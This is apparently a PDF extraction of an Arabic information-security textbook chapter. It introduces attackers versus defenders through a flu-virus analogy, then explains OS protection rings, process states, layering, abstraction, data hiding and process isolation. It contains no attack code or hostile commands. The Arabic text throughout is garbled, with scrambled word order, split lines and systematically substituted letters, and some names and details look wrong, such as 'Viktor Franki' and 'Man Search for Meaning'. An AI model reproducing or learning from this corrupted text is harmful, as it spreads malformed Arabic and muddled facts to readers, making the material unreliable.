‫امل‬ ‫أمن‬‫ب‬ ‫ة‬َ‫ق‬ِّ‫ل‬‫تع‬ُ‫مل‬‫ا‬ ‫املواضيع‬ ‫بعض‬ ‫عىل‬ ‫الضوء‬ ‫بتسليط‬ ‫القادم‬ ‫الفصل‬ ‫يف‬ ‫سنقوم‬
‫عمليات‬‫ل‬ ‫حتليل‬ ‫ولجراء‬ ،‫علومات‬
‫املتبع‬ ‫اآلليات‬ ‫وبعض‬ ،‫اإلطرتاق‬
‫ة‬
‫للحامي‬
‫ة‬
.‫منها‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[172]
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[173]
Part III
Security & Attacks
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[174]
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[175]
Introduction
،،!‫اإلنفلونزا‬ ‫قريوس‬
‫قدر‬ ‫لديه‬ ،!‫باستمرار‬ ‫نا‬ُ‫ج‬‫زع‬ُ‫ي‬‫ل‬ ‫يأيت‬ ،‫حلالنا‬ ‫يرتكنا‬ ‫ال‬ ‫الذي‬ ،‫العجيب‬ ‫الفريوس‬ ‫ذذا‬
‫ة‬
‫ليقو‬ ‫نفسه‬ ‫تطوير‬ ‫عىل‬ ‫ُمتازة‬
‫م‬
‫ُسمى‬‫ت‬ ‫طريقة‬ ً‫ا‬‫مستخدم‬ ‫يتغري‬ ‫قهو‬ ،!ً‫ا‬‫وتكرار‬ ً‫ا‬‫مرار‬ ‫بإصابتنا‬
“Anti-Gen Drift”
‫األجسام‬ ‫عليه‬ ‫تتعرف‬ ‫ال‬ ‫حيث‬
‫جرا‬ ‫أجسامنا‬ ‫يف‬ ‫تكونت‬ ‫التي‬ ‫املضادة‬
‫به‬ ‫لنا‬ ‫السابقة‬ ‫اإلصابة‬ ‫ء‬
.
‫ال‬ ‫ذذا‬ ‫جتربة‬ ‫قعلينا‬ ‫وبالتايل‬
Virus
‫أجسامه‬ ‫حتديث‬ ‫للجسم‬ ‫يتسنى‬ ‫كي‬ ‫عليه‬ ‫طرأ‬ ‫الذي‬ ‫اجلديد‬ ‫بالتغيري‬
‫املضاد‬
‫ة‬
.‫ضده‬
‫من‬ ‫ياله‬
Virus
.!‫لعني‬
‫ذدن‬ ‫يأطذ‬ ‫ال‬
‫ة‬
‫راحة‬ ‫قرتة‬ ‫أو‬ ،
‫ب‬ ‫العمل‬ ‫حيب‬ ،
‫كفائته‬ ‫ورقع‬ ‫نفسه‬ ‫لتطوير‬ ‫استمرار‬
،
‫ُم‬
‫لجراء‬ ‫عىل‬ ‫األدوية‬ ‫رشكات‬ ‫رب‬ ُ
‫جي‬ ‫ا‬
‫املضاد‬ ‫منتجاهتا‬ ‫عىل‬ ‫املستمرة‬ ‫التحديثات‬
‫ة‬
‫عملي‬ ‫تواكب‬ ‫كي‬ ،‫لإلنفلونزا‬
‫زعج‬ُ‫مل‬‫ا‬ ‫اخلصم‬ ‫ذذا‬ ‫لدى‬ ‫التطور‬ ‫ات‬
.
‫الك‬ ‫عامل‬ ‫يف‬ ‫لدينا‬
‫ال‬ ‫مثل‬ ‫أعداء‬ ً‫ا‬‫أيض‬ ‫مبيوتر‬
Viruses and Worms
.
‫و‬ ‫املتاعب‬ ‫من‬ ‫الكثري‬ ‫لنا‬ ‫يسببون‬ ‫لهنم‬
‫والبيانات‬ ‫للملفات‬ ‫وضياع‬ ‫األَضار‬
.
ّ‫لح‬ُ‫مل‬‫ا‬ ‫احلاجة‬ ‫ظهرت‬ ‫وهلذا‬
‫أساليب‬ ‫لظهور‬ ‫ة‬
‫احل‬
‫وأنواعها‬ ‫مستوياهتا‬ ‫باطتالف‬ ‫امية‬
‫ققام‬ ،
Hackers
‫وقاموا‬ ‫األمنية‬ ‫اآلليات‬ ‫ذذه‬ ‫بدراسة‬
‫إلحداث‬ ‫عدة‬ ٍ
‫بمحاوالت‬
‫ِبا‬ ‫اخلروق‬
..!‫ونجحوا‬ ،
‫ملجاِبة‬ ‫آلياهتم‬ ‫و‬ ‫منتجاهتم‬ ‫بتطوير‬ ‫األمنية‬ ‫األنظمة‬ ‫طورو‬ُ‫م‬ ‫ققام‬
‫متهم‬‫أنظ‬ ‫عىل‬ ‫تحايلني‬ُ‫مل‬‫ا‬ ‫ذؤالء‬
،
‫ال‬ ‫ذذه‬ ‫ت‬ َ‫ر‬ َ‫ج‬ ‫وذكذا‬
Cycle
.!‫هناية‬ ‫ماال‬ ‫لىل‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[176]
‫ال‬ ‫ثها‬‫د‬ ُ
‫حي‬ ‫التي‬ ‫املشاكل‬ ‫ذذه‬ ‫ولكن‬
Crackers
‫ال‬ ‫و‬
Malware Authors
‫املناقع‬ ‫بعض‬ ‫لنا‬ ‫سببت‬ ..‫وغريذم‬
‫من‬ ‫بالرغم‬
‫األ‬
.!‫بسببهم‬ ‫منها‬ ‫عانينا‬ ‫التي‬ ‫َضار‬
‫جيربونن‬ ‫لهنم‬
!‫احللول‬ ‫ولجياد‬ ‫هلم‬ ‫التصدي‬ ‫عىل‬ ‫ا‬
.
They Force a Response… Which fixes the problem!.
‫تاب‬‫بالك‬ ‫ذذا‬ ‫ين‬ ُ‫ر‬‫ذك‬ُ‫ي‬
“Man Search for Meaning”
‫ه‬‫ب‬‫صاح‬‫ل‬
Viktor Franki
.
‫بتأليفه‬ ‫قام‬ ‫حيث‬ ‫الكتاب‬ ‫ذذا‬ ‫م‬َ‫د‬‫ق‬ ‫من‬ ‫بالرغم‬
‫عام‬ ‫يف‬
1946
‫كرة‬‫ق‬ ‫ل‬‫حيم‬ ُ‫ه‬‫أن‬ ‫لال‬
،‫قويه‬
‫وذي‬
:
"
‫املعانا‬ ‫وجود‬ ‫لوال‬
‫ة‬
!‫معنى‬ ‫للحياة‬ ‫أصبح‬ ‫ملا‬ ..
"
.
1946
‫بقصة‬ ‫ين‬ ُ‫ر‬‫ذك‬ُ‫ي‬ ‫التاريخ‬ ‫ذذا‬ ..‫؟؟‬
"
‫مانديال‬ ‫نيلسون‬
"
‫لىل‬ ‫انتقل‬ ‫ققد‬ ،!
"
‫أورالندو‬
"
‫معاناته‬ ‫رحلة‬ ‫لتبدأ‬ ‫العام‬ ‫ذذا‬ ‫يف‬
‫ث‬ ،ً‫ا‬‫عام‬ ‫عرشين‬ ‫و‬ ٍ‫ع‬‫لسب‬ ‫بسجنه‬ ً‫ا‬‫مرور‬ ،‫رية‬ُ‫حل‬‫ا‬ ‫أجل‬ ‫من‬
‫عبه‬ َ
‫ش‬ ‫لم‬ ُ‫وح‬ ُ‫ه‬‫لم‬ ُ‫ح‬ ‫ليتحقق‬ ‫االنتخابات‬ ‫يف‬ ‫قوزه‬ ‫النهاية‬ ‫يف‬ ‫م‬
‫ن‬َ‫م‬ ‫وحلياة‬ ‫ياته‬‫حل‬ ‫املعنى‬ ‫عاناة‬ُ‫مل‬‫ا‬ ‫ذذه‬ ‫ت‬َ‫ل‬ّ‫ك‬ َ
‫ش‬َ‫ق‬ ،ً‫ا‬‫كاقح‬ُ‫م‬‫و‬ ً‫ال‬‫مناض‬ ‫مانديال‬ ‫من‬ َ
‫ل‬َ‫ع‬ َ‫ج‬ ‫والقهر‬ ‫لم‬ُ‫ظ‬‫ال‬ ‫قانتشار‬.. ،‫رية‬ُ‫حل‬‫با‬
‫قال‬ ‫الذي‬ َ
‫ق‬َ‫د‬ َ
‫وص‬ ،!ُ‫ه‬َ‫ع‬َ‫م‬ َ
‫ل‬ َ
‫ناض‬
"
ُ‫حل‬‫ا‬ ‫من‬ ‫متتلك‬ ‫ما‬ ‫بقدر‬ ‫الكرامة‬ ‫من‬ ‫متتلك‬ ‫أنت‬
‫ية‬ ِّ‫ر‬
"
.
‫ال‬ ‫ذؤالء‬ ‫وجود‬ ‫لوال‬ ..‫نقول‬ ً‫ا‬‫أيض‬ ُ‫َحن‬‫ن‬‫و‬
Crackers
‫ال‬ ‫و‬
Malware Authors
..‫األرشار‬ ‫من‬ ‫وغريذم‬
‫ال‬ ‫لىل‬ ‫احلاجة‬ ‫لنا‬ ‫ظهرت‬ ‫ملا‬
"
Security
"
..‫ها‬‫أنواع‬ ‫و‬ ‫ا‬‫أشكاهل‬ ‫كل‬ُ‫ب‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[177]
Computer Security
‫ال‬ ‫يف‬ ‫تكلمنا‬
‫باب‬
‫التي‬ ‫الربامج‬ ‫عن‬ ‫األول‬
‫يتم‬
‫عمل‬ ‫ثم‬ ‫كتابتها‬
Compile
‫هلا‬
‫و‬
‫ثم‬ ‫من‬
‫ت‬
‫شغيلها‬
‫ال‬ ‫عىل‬
O.S
،
‫أننا‬ ‫بمعنى‬
‫ال‬ ‫مع‬ ‫بالتعامل‬ ‫الربنامج‬ ‫هلذا‬ ‫صالحيات‬ ‫ُعطي‬‫ن‬ ‫ُنا‬‫ك‬
Resources
‫ال‬ ‫هلذا‬ ‫املختلفة‬
O.S
‫ال‬ ‫مع‬ ‫يتعامل‬ ‫كأن‬
Memory
‫أو‬
‫بفتح‬ ‫يقوم‬
file descriptors
‫لنشاء‬ ‫أو‬
Sockets
‫ال‬ ‫مع‬ ‫يتعامل‬ ‫كان‬ ً‫ا‬‫أيض‬ ،‫املهام‬ ‫من‬ ‫وغريذا‬
Hardware
‫ا‬
‫خلاص‬
‫ة‬
‫بالكمبيوتر‬
‫األمر‬ ‫تطلب‬ ‫لذا‬
.
‫كنا‬
‫أثناء‬
‫ال‬ ‫عىل‬ ‫الضوء‬ ‫بتسليط‬ ‫نقوم‬ ‫املرحلة‬ ‫ذذه‬
Applications
‫نفه‬ ‫كي‬ ،!‫نفسها‬
‫بتنفيذ‬ ‫تقوم‬ ‫كانت‬ ‫كيف‬ ‫م‬
‫دورذا‬
.
‫لكننا‬
‫اآلن‬
‫سن‬
‫بدأ‬
‫ال‬ ‫عىل‬ ‫الضوء‬ ‫بتسليط‬
Operating System
‫قلسفته‬ ‫لنرى‬ ،!‫نفسه‬
‫يف‬
‫ال‬
‫تعامل‬
‫ال‬ ‫ذذه‬ ‫مع‬
Applications
‫ال‬ ‫و‬
Users
.
‫ق‬
‫عد‬ُ‫ي‬ ‫هذا‬
ً‫ال‬‫مثا‬
ً‫ا‬‫جيد‬
‫ل‬
‫ن‬
‫به‬ ‫فهم‬
‫واحلامية‬ ‫األمن‬ ‫أساسيات‬
.
‫بال‬ ‫تشغيله‬ ‫أثناء‬ ‫نفسه‬ ‫تأمني‬ ‫يف‬ ‫الكمبيوتر‬ ‫يستخدمها‬ ‫التي‬ ‫األساليب‬ ‫عىل‬ ‫ُطلق‬‫ن‬
“Protection Mechanisms”
‫ال‬ ‫ذذه‬
Mechanisms
:‫ذي‬ ‫رئيسية‬ ‫أنواع‬ ‫ثالثة‬ ‫لىل‬ ‫تنقسم‬
 Rings
 Operational States
 Security Modes
‫ال‬ ‫عن‬ ‫سنتكلم‬
Mechanisms
‫والثاني‬ ‫األوىل‬
‫ة‬
:
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[178]
Rings
‫ال‬ ‫ذذا‬ ‫يقوم‬
Architecture
‫بعمل‬
organize
‫ال‬ ‫جلميع‬
Applications
‫ال‬ ‫أو‬
utilities
‫أو‬
‫سيطرة‬ ‫حتت‬ ‫يعمل‬ ‫يشء‬ ‫أي‬
‫التشغيل‬ ‫نظام‬
،‫ذذا‬
“Under the control of this O.S”
.
‫ال‬ ‫ذذا‬ ‫يقوم‬
Architecture
‫داطل‬ ‫برتتيبهم‬
Rings
ُ‫ن‬ِّ‫ك‬ُ‫مت‬ ‫كي‬ ‫حواجز‬ ‫بينها‬ ‫تفصل‬
‫ن‬‫م‬ ‫نا‬
‫ال‬ ‫ذذه‬ ‫بني‬ ‫بور‬ُ‫ع‬‫ال‬
Rings
‫كام‬ ،
‫ن‬
‫يف‬ ‫راذم‬
‫الشكل‬
.
‫ُلام‬‫ك‬‫ق‬
‫أكثر‬ ‫اجتهنا‬
‫لىل‬
‫ال‬
‫ل‬‫داط‬
‫يف‬
‫ال‬
Ring
،
‫ُل‬‫ك‬
‫وأكرب‬ ‫أعىل‬ ‫صالحيات‬ ‫عىل‬ ‫حصلنا‬ ‫ام‬
.
‫ال‬ ‫أن‬ ‫يظهر‬
“Ring 0”
‫يف‬ ‫األعىل‬ ‫ذي‬
‫الصالحيات‬
‫لل‬ ‫ن‬‫مك‬ُ‫ي‬ ‫حيث‬ ،
Processes
‫ال‬ ‫ذذه‬ ‫صالحيات‬ ‫متتلك‬ ‫التي‬
Ring
‫تقوم‬ ‫أن‬
‫بعمل‬
Access
‫ألي‬
Resources
‫كالتعامل‬ ..
‫ال‬ ‫مع‬
CPU
،
‫ال‬ ‫مع‬ ‫التعامل‬ ‫أو‬
Memory
‫ري‬ ُ‫ح‬ ‫بكل‬
‫ة‬
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[179]
‫ال‬ ‫ذذه‬ ‫يف‬ ‫يتواجد‬
Ring
‫ا‬
‫ل‬
“O.S Kernel”
‫ال‬ ‫عد‬ُ‫ي‬ ‫وِبذا‬
“Most Trusted”
‫بالنسبة‬
‫ال‬ ‫لاىل‬
Computer
Hardware
،
‫ال‬ ‫مع‬ ‫بارش‬ُ‫م‬ ‫بشكل‬ ‫ل‬ُ‫م‬‫التعا‬ ‫من‬ ‫يتمكن‬ ‫ألنه‬
physical hardware
‫كا‬
‫ل‬
Memory
.
‫ال‬ ‫لىل‬ ‫نأيت‬
Ring 1
:
‫ال‬ ‫بقية‬ ‫تقع‬ ‫نا‬ُ‫ذ‬
Operations
‫ال‬ ‫ِبا‬ ‫يقوم‬ ‫التي‬ ‫العادية‬
O.S
‫ال‬ ‫كتنفيذ‬
Tasks
‫أو‬ ‫املختلفة‬
‫عمل‬
Switching between
Processes
.
:‫عليها‬ ‫مثال‬ ‫سأعطيك‬
‫ملف‬ ‫بفتح‬ ‫أقوم‬ ‫عندما‬
word
‫ال‬ ‫بفتح‬ ‫ألقوم‬ ُ‫ه‬‫ك‬ ُ‫أتر‬ ‫ثم‬ ،‫األسطر‬ ‫بعض‬ ‫قيه‬ ‫ُب‬‫ت‬‫وأك‬
Browser
.‫االنرتنت‬ ‫ألتصفح‬
‫م‬ ‫أنتهي‬ ‫وعندما‬
‫ال‬ ‫ملف‬ ‫لىل‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫سأعود‬ ‫التصفح‬ ‫ن‬
Word
.
‫ال‬ ‫حينها‬ ‫يقوم‬
O.S
‫بعمل‬
“Context Switch”
‫ال‬ ‫بحفظ‬ َ‫م‬‫قا‬ ‫قد‬ ‫كان‬ ‫حيث‬
process
‫بال‬ ‫اخلاصة‬
Word
‫ال‬ ‫لىل‬ ‫االنتقال‬ ‫عملية‬ ‫قبل‬ ‫عليه‬ ‫كانت‬ ‫وضع‬ ‫آطر‬ ‫عند‬
Browser
.
‫أطرى‬ ً‫ة‬‫مر‬ ‫لليها‬ ‫بالعودة‬ ‫ليقوم‬
.
‫ال‬ ‫لىل‬ ‫ننتقل‬
Ring 2
:
‫ح‬ ‫لىل‬ ً‫ا‬‫أيض‬ ‫ُعد‬‫ت‬
‫ما‬ ٍ‫د‬
Privileged
‫ال‬ ‫ِبا‬ ‫يتواجد‬ ‫حيث‬
Input/Out Put Drivers
‫ال‬ ‫و‬
system utilities
،‫األطرى‬
‫بال‬ ‫أشبه‬ ‫ذي‬ ‫حيث‬
Special Files
‫ال‬ ‫أو‬ ‫للربامج‬ ‫يمكن‬ ‫ال‬ ‫والتي‬
Apps
‫عمل‬
Access
‫االستعان‬ ‫دون‬ ‫لليها‬
‫ة‬
‫ال‬ ‫ذذه‬ ‫بصالحيات‬
Ring
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[180]
‫ال‬ ً‫ا‬‫وأطري‬
Ring 3
..
‫نا‬ُ‫وذ‬
‫ال‬ ‫تقع‬
Applications
‫والرب‬
‫ها‬‫بأنواع‬ ‫امج‬
،
‫بال‬ ‫اخلاصة‬ ‫البيئة‬ ‫ذي‬ ‫ذذه‬
User
‫يف‬ ‫طرق‬ ‫أي‬ ‫لحداث‬ ‫ُه‬‫ن‬‫مك‬ُ‫ي‬ ‫ال‬ ‫حيث‬
.!‫لديه‬ ‫ليا‬ُ‫ع‬‫ال‬ ‫الصالحيات‬ ‫وجود‬ ‫لعدم‬ ‫النظام‬
‫الشكل‬ ‫ذذا‬
‫يوضح‬
‫ال‬
Kernel
‫الذي‬
‫ال‬ ‫يف‬ ‫يقع‬
“Ring 0”
‫ال‬ ‫مع‬ ‫مبارش‬ ‫بشكل‬ ‫يتعامل‬ ‫حيث‬
Hardware
.‫يظهر‬ ‫كام‬
‫السامح‬ ‫يتم‬ ‫وال‬
‫لل‬
Applications
‫بالتعامل‬
‫ب‬
‫ال‬ ‫مع‬ ‫مبارش‬ ‫شكل‬
Hardware
‫من‬ ً‫ال‬‫بد‬ ،
‫ذلك‬
‫ال‬ ‫لىل‬ ‫طلب‬ ‫لرسال‬ ‫يتم‬
Kernel
‫يقرر‬ ‫وذو‬
‫السام‬ ‫سيتم‬ ‫لذا‬ ‫ما‬
‫عد‬ ‫العتبارات‬ ً‫ا‬‫وقق‬ ‫ال‬ ‫أم‬ ‫ح‬
.‫ة‬
Operational States
‫ال‬ ً‫ا‬‫أيض‬ ‫ِبا‬ ‫نعني‬
“Process States”
‫ل‬ ‫تصنيف‬ ‫ناك‬ُ‫ذ‬
‫ل‬
Process
‫ال‬ ‫حيث‬ ‫من‬
Process Modes
‫قهي‬
‫ال‬ ‫نظام‬ ‫يف‬ ‫تكون‬ ‫أن‬ ‫لما‬
(
User Mode
)
‫تكون‬ ‫حيث‬
‫نخفض‬ُ‫م‬ ‫الصالحيات‬
‫ة‬
.
“Low Privileges”
،
‫ال‬ ‫نظام‬ ‫يف‬ ‫تكون‬ ‫أن‬ ‫ولما‬
(
Privileged Mode
)
‫متتلك‬ ُ
‫حيث‬
‫ال‬ ‫الحيات‬ َ
‫ص‬
System
.
‫ل‬ ‫ذيا‬
‫ن‬
‫ال‬ ‫عىل‬ ‫ف‬‫تعر‬
States
‫أي‬ ‫ِبا‬ ‫ر‬ُ َ‫مت‬ ‫التتي‬
Process
.‫عملها‬ ‫من‬ ‫تنتهي‬ ‫أن‬ ‫وحتى‬ ‫تبدأ‬ ‫أن‬ ُ‫نذ‬ُ‫م‬
‫بفتح‬ ‫نقوم‬ ‫عندما‬ ً‫ال‬‫قمث‬
Application
‫بفتح‬ ‫سيقوم‬ ،‫صغري‬
Process
‫طاص‬
‫ة‬
‫ال‬ ‫يف‬ ‫نراذا‬ ‫التي‬ ‫وذي‬ ‫به‬
Process
manager
،
‫ال‬ ‫ذذه‬
process
‫ال‬ ‫يستطيع‬ ‫وغريذا‬
O.S
‫بي‬ ‫والتبديل‬ ،‫الوقت‬ ‫نفس‬ ‫يف‬ ‫معهم‬ ‫التعامل‬
‫ريد‬ُ‫ي‬‫ما‬ ‫ولهناء‬ ،‫نهم‬
.‫وذكذا‬ ‫منهم‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[181]
‫ال‬ ‫ذذه‬ ‫ِبا‬ ُّ‫ر‬ُ َ‫مت‬ ‫التي‬ ‫احلاالت‬ ً‫ا‬‫مع‬ ‫ُشاذد‬‫ن‬‫س‬
Process
:
Ready: The process is ready to resume or begin processing as soon as it is scheduled for
execution. If the CPU is available when the process reaches this state, it will transition directly
into the running state.
Waiting: “waiting for a resource”, the process is ready for continued execution but is waiting for
a device or access request.
Running: the process here executes on the CPU and keeps going until it finishes, or it blocks for
some reason.
Stopped When a process finishes or must be terminated (because an error occurs, a required
resource is not available, or a resource request can’t be met), it goes into a stopped state.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[182]
‫رأي‬ ‫كام‬
‫نا‬
‫ال‬ ‫يقوم‬ ،
Operating System
‫ال‬ ‫ذذه‬ ‫باستخدام‬
Mechanisms
‫حل‬
‫والواقع‬ ،‫به‬ ‫املحيطة‬ ‫البيئة‬ ‫من‬ ‫نفسه‬ ‫امية‬
‫ة‬
‫ال‬ ‫يف‬ ً‫ا‬‫حتديد‬
(
Ring 3
.)
‫و‬
‫احلقيق‬ ‫يف‬
‫ة‬
ً‫ام‬‫دائ‬
‫ال‬ ‫مع‬ ‫التشغيل‬ ‫نظام‬ ‫يتعامل‬ ‫ما‬
Applications
‫بأسلوب‬ ‫بأنواعها‬ ‫والربامج‬
‫العبار‬ ‫ذذه‬ ‫يف‬ ‫يتلخص‬ ،‫وحيد‬
‫ة‬
:
“Software is Not Trusted!”
Technical Mechanisms
‫ال‬ ‫بعض‬ ‫عن‬ ‫سنتكلم‬
Technical Mechanisms
‫الت‬
‫ال‬ ‫تصميم‬ ‫عند‬ ‫االعتبار‬ ‫يف‬ ‫تؤطذ‬ ‫ي‬
Operating System
،
‫حي‬
‫ل‬ ‫ستوضح‬ ‫ث‬
‫نا‬
‫ك‬
.‫به‬ ‫املحيطة‬ ‫البيئة‬ ‫مع‬ ‫التشغيل‬ ‫نظام‬ ‫يتعامل‬ ‫يف‬
‫ومن‬
‫ذذه‬ ‫بعض‬
‫اآلليات‬
‫ماييل‬
:
Layering, Abstraction, Data Hiding, and Process Isolation
:‫بالرتتيب‬ ‫سنتناوهلم‬
Layering
‫ال‬ ‫ذذا‬
Concept
‫ال‬ ‫ملبدأ‬ ‫مشابه‬
Rings
‫ال‬ ‫يف‬ ‫به‬ ‫املعمول‬
x86 Architecture
،
‫و‬ ‫املهام‬ ‫وضع‬ ‫عىل‬ ‫ينص‬ ‫قهو‬
‫ال‬
Functions
‫احلساس‬
‫ة‬
‫ال‬ ‫يف‬ ‫همة‬ُ‫مل‬‫وا‬
(
Low Layers
)
‫ال‬ ‫يف‬ ‫أمهية‬ ‫األقل‬ ‫ثم‬
(Upper Layers)
،
..‫وذكذا‬
‫مكن‬ُ‫ي‬
‫ال‬ ‫ذذه‬ ‫بني‬ ‫التواصل‬
Layers
‫عرب‬
"
interfaces
"
‫دد‬ ُ
‫حم‬
‫ة‬
‫كي‬‫ل‬
.!‫ذذا‬ ‫التواصل‬ ‫رشوط‬ ‫قرض‬ ‫من‬ ‫نتمكن‬
‫ُل‬‫ك‬‫ق‬
Layer
‫أي‬ ‫من‬ ‫ب‬ُ‫ع‬‫التال‬ ‫من‬ ‫حممية‬
Layers
.‫أطرى‬
Each layer is protected from tampering by any other layer, Also outer layers cannot violate or
override any security policy enforced by an inner layer.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[183]
Abstraction
‫ال‬ ‫ذذا‬
Abstraction
‫ال‬ ‫مفهوم‬ ‫يشبه‬
“Black Boxing”
..‫اليشء‬ ‫بعض‬
‫ال‬ ‫وماذذا‬
Black Box
‫؟‬
‫ال‬ ‫عىل‬ ‫املصطلح‬ ‫ذذا‬ ‫ُطلق‬‫ن‬
Device
‫ال‬ ‫أو‬
System
‫ال‬ ‫أو‬
Object
‫منك‬ ‫يستقبل‬ ‫الذي‬
inputs
‫بإطراج‬ ‫ويقوم‬
Outputs
،
‫عىل‬ ‫ك‬ُ‫ع‬‫طل‬ُ‫ي‬ ‫وال‬
‫العمليات‬
‫ق‬ ‫حدثت‬ ‫التي‬
‫بينهم‬ ‫يام‬
.!
‫ال‬ ‫عىل‬ ُ‫ه‬َ‫ط‬‫ُسق‬‫ن‬‫ل‬ ‫جئنا‬ ‫قلو‬
O.S
‫أن‬ ‫ُالحظ‬‫ن‬‫ق‬
‫الويندوز‬ ‫مثل‬ ‫تشغيل‬ ‫نظام‬
،
‫عندما‬ ‫حتدث‬ ‫التي‬ ‫التفاصيل‬ ‫عىل‬ ‫ك‬ُ‫ع‬‫طل‬ُ‫ي‬ ‫ال‬
‫ال‬ ‫برنامج‬ ‫بفتح‬ ‫تقوم‬
Word
ً‫ال‬‫مث‬
‫ال‬ ‫يف‬ ‫ذو‬ ‫بينام‬ ‫لك‬ ‫صغرية‬ ‫صورة‬ ‫بإظهار‬ ‫ويكتفي‬ ،
Back Ground
‫بعمل‬ ‫يقوم‬
.‫لك‬ ‫الربنامج‬ ‫لفتح‬ ‫الالزمة‬ ‫اإلعدادات‬
‫ال‬ ‫مفهوم‬ ‫وضح‬ُ‫ي‬ ‫الشكل‬
Black Boxing
:
‫يف‬
‫ال‬ ‫عمليات‬
Access Controls
،‫املثال‬ ‫سبيل‬ ‫عىل‬
‫املناسب‬ ‫الصالحيات‬ ‫بإعطاء‬ ‫االنشغال‬ ‫من‬ ً‫ال‬‫بد‬
‫ة‬
‫لكل‬
User
،
ُ‫ذ‬ ‫سمى‬ُ‫ي‬‫و‬
‫نا‬
“Subject”
..
‫ي‬
‫كون‬
‫ال‬ ‫عىل‬ ‫الرتكيز‬
Objects
ً‫ا‬‫عوض‬
‫عن‬
‫ذ‬
‫لك‬
‫أن‬ ‫بمعنى‬ ،
‫نقوم‬ ‫نا‬
‫بإنشاء‬
Groups
،
‫ثم‬
‫ن‬
‫لكل‬ ‫الصالحيات‬ ‫عطي‬
group
،‫منهم‬
‫ق‬
‫ال‬ ‫تصنيف‬ ‫يتم‬
users
‫ال‬ ‫ذذه‬ ‫عىل‬ ‫توزيعهم‬ ‫عرب‬
groups
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[184]
‫ال‬ ‫ينتمي‬ ‫أن‬ ‫وبمجرد‬
user
‫ال‬ ‫لىل‬
group
‫ال‬ ‫ذذا‬ ‫صالحيات‬ ‫سيمتلك‬ ،‫له‬ ‫املناسب‬
group
.
‫ذذ‬
‫عند‬ ‫قائدته‬ ‫يظهر‬ ‫األمر‬ ‫ا‬
‫متفاوت‬ ‫وبصالحيات‬ ‫ر‬ُ‫ث‬ُ‫ك‬ ‫مستخدمني‬ ‫مع‬ ‫التعامل‬
‫ة‬
.
Data Hiding
‫ال‬ ‫مفهوم‬ ‫ُشبه‬‫ت‬ ‫اخلاصية‬ ‫ذذ‬
Layering
‫منحها‬ ‫طريق‬ ‫عن‬ ‫للبيانات‬ ‫احلامية‬ ‫من‬ ‫نوع‬ ‫توقر‬ ‫قهي‬ ،ً‫ال‬‫قلي‬
Security Level
‫عين‬ُ‫م‬
‫ة‬
‫أي‬ ‫وبالتايل‬ ،
Process
‫لىل‬ ‫تنتمي‬
Security Level
‫ل‬ ‫تلفة‬ ُ
‫ُم‬ ‫طرى‬ُ‫أ‬
‫ن‬
‫البيانات‬ ‫ذذه‬ ‫ف‬‫َش‬‫ك‬ ‫ن‬‫م‬ ‫ّن‬‫ك‬َ‫تتم‬
.
It ensures that data existing at one level of security is not visible to processes running at different
security levels.
Process Isolation
‫ال‬ ‫يستخدمها‬ ‫التي‬ ‫اخلصائص‬ ‫أذم‬ ‫من‬ ‫اخلاصية‬ ‫ذذه‬
O.S
‫ال‬ ‫ومجيع‬ ‫نفسه‬ ‫حلامية‬
resources
‫ال‬
‫سيطرته‬ ‫حتت‬ ‫تقع‬ ‫تي‬
.
‫ال‬ ‫تقسيم‬ ‫نا‬ُ‫ذ‬ ‫قيتم‬
memory
‫ال‬ ‫أو‬ ‫للربامج‬ ‫السامح‬ ‫ويتم‬ ،‫بعضها‬ ‫عن‬ ‫معزولة‬ ‫مساحات‬ ‫لىل‬
Applications
‫ال‬ ‫أو‬
utilites
‫ال‬ ‫ذذا‬ ‫عىل‬ ‫تعمل‬ ‫التي‬
O.S
.‫احتياجاهتا‬ ‫عىل‬ ً‫ء‬‫بنا‬ ‫ساحات‬‫امل‬ ‫ذذه‬ ‫باستخدام‬
‫ال‬ ‫ذذه‬ ‫بحامية‬ ‫التشغيل‬ ‫نظام‬ ‫ويقوم‬
processes
‫أي‬ ‫تطغى‬ ‫ال‬ ‫بحيث‬
process
‫أي‬ ‫نع‬َ‫م‬‫ب‬ ‫وذلك‬ ،‫طرى‬ُ‫أ‬ ‫عىل‬
process
‫عمل‬ ‫اولة‬ ُ
‫حم‬ ‫من‬
access
‫ال‬ ‫ل‬‫داط‬ ‫ة‬ َ‫ساح‬‫م‬ ‫ألي‬
memory
َ
‫ص‬‫ص‬ ُ
‫ُم‬ ‫ليست‬
‫ة‬
.!‫ا‬ َ‫هل‬
Requires that the operating system provide separate memory spaces for each process’s
instructions and data. It also requires that the operating system enforce those boundaries,
preventing one process from reading or writing data that belongs to another process.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[185]
